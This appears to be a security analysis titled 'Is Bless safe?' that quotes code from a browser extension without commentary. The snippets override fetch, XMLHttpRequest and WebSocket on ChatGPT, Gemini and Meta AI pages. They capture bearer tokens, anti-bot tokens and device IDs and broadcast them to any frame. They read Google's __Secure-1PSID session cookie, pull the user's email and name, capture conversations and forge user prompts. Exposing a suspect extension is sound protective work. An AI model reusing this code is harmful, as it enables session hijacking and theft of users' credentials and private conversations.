Is Bless safe?

// Replace window.fetch with the interceptor before any page script runs.// 'writable: false' prevents ChatGPT's code from undoing the override.try {  Object.defineProperty(window, 'fetch', {    value: interceptedFetch,    writable: false,    configurable: true  });} catch {  window.fetch = interceptedFetch; // fallback if defineProperty fails}

// Called inside the intercepted fetch for every /backend-api or /backend-anon request.// headers = merged request init headers + cloned Request headersif (headers.authorization) {  tokens.authToken = headers.authorization.replace('Bearer ', '');}if (headers['oai-device-id']) {  tokens.deviceId = headers['oai-device-id'];}// After /sentinel/finalize response: broadcast all tokensif (path.includes('/finalize') && responseBody.token) {  tokens.chatRequirementsToken = responseBody.token;  tokens.tokenExpireAt = responseBody.expire_at;  tokens.lastUpdate = Date.now();  const event = {    type: 'CHATGPT_TOKENS_READY',    data: {      chatRequirementsToken: tokens.chatRequirementsToken,      turnstileToken: tokens.turnstileToken,      proofToken: tokens.proofToken,      tokenExpireAt: tokens.tokenExpireAt,      authToken: tokens.authToken,      deviceId: tokens.deviceId    }  };  // Broadcast to all frames — any frame or the extension popup can receive this  window.postMessage(event, '*');  window.parent.postMessage(event, '*');}

async function readGeminiSessionCookie() {  return (await chrome.cookies.get({    url: 'https://gemini.google.com',    name: '__Secure-1PSID'  }))?.value || null;}async function fetchGoogleIdentity() {  // Calls the internal Bard o30O0e batchexecute RPC  let results = await batchExecute('o30O0e', JSON.stringify([    ['me'],    [[['person.photo', 'person.name', 'person.email']], null, [1, 7]]  ]));  for (let row of results) {    let parsed = JSON.parse(row[2])?.[0]?.[0]?.[2];    let userId = parsed[0], name = parsed[2]?.[0]?.[1];    let email = parsed[9]?.[0]?.[1];    if (email || name || userId) return { email, name, userId };  }  return null;}

// Patches XMLHttpRequest in the MAIN world to intercept Gemini StreamGenerate responsesconst originalOpen = XMLHttpRequest.prototype.open;const originalSend = XMLHttpRequest.prototype.send;XMLHttpRequest.prototype.open = function(method, url, ...rest) {  this.__isGemini = /BardChatUi.*StreamGenerate/.test(url || '');  return originalOpen.call(this, method, url, ...rest);};XMLHttpRequest.prototype.send = function(body) {  if (this.__isGemini) {    this.addEventListener('loadend', () => {      // Parses chunks after )]}'\n, extracts conversationId, user prompt, AI response      window.postMessage({ type: 'GEMINI_CONVERSATION_UPDATE',        data: parseGeminiResponse(this.responseText) }, '*');    });  }  return originalSend.call(this, body);};

const OriginalWebSocket = window.WebSocket;window.WebSocket = function(url, protocols) {  let ws = new OriginalWebSocket(url, protocols);  if (url.toString().includes('gateway.meta.ai/ws/clippy')) {    capturedSocket = ws;    ws.binaryType = 'arraybuffer';    // Parse binary frames for AI response text    ws.addEventListener('message', (e) => {      if (e.data instanceof ArrayBuffer) parseResponseFrame(e.data);    });    // Signal parent iframe that the socket is ready    ws.addEventListener('open', () => {      if (isIframe) window.parent.postMessage({ type: 'METAAI_IFRAME_READY' }, '*');      if (pendingPrompt) { sendPromptOverWebSocket(pendingPrompt); pendingPrompt = null; }    });  }  return ws;};

// Builds a valid Meta AI protobuf message that impersonates a user promptfunction buildMetaAiMessage(viewerId, promptText, conversationId, deviceFingerprint) {  let timestamp = Date.now();  let timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;  messageCounter++;  // Encodes the prompt text in protobuf field 5  let promptField = encodeStringField(5, encodeStringField(1, promptText));  // Core message body with hardcoded Meta internal fields  let messageBody = concat(    encodeString(1, 'KADABRA__CHAT__UNIFIED_INPUT_BAR'),  // Meta internal channel    encodeString(2, '1522763855472543'),                  // Hardcoded app ID    encodeBytes(4, sessionUUID),                          // Session UUID    promptField,    encodeVarint(6, messageCounter),    encodeString(7, 'HUMAN_AGENT'),                       // Sender role    encodeBytes(8, concat(encodeString(1, viewerId), encodeString(2, viewerId))), // User identity    encodeString(10, 'ECTO1'),                            // Auth scheme    encodeString(11, 'Abra Web Main Key')                 // Key label  );  return buildFullProtoEnvelope(messageBody, viewerId, timestamp, conversationId);}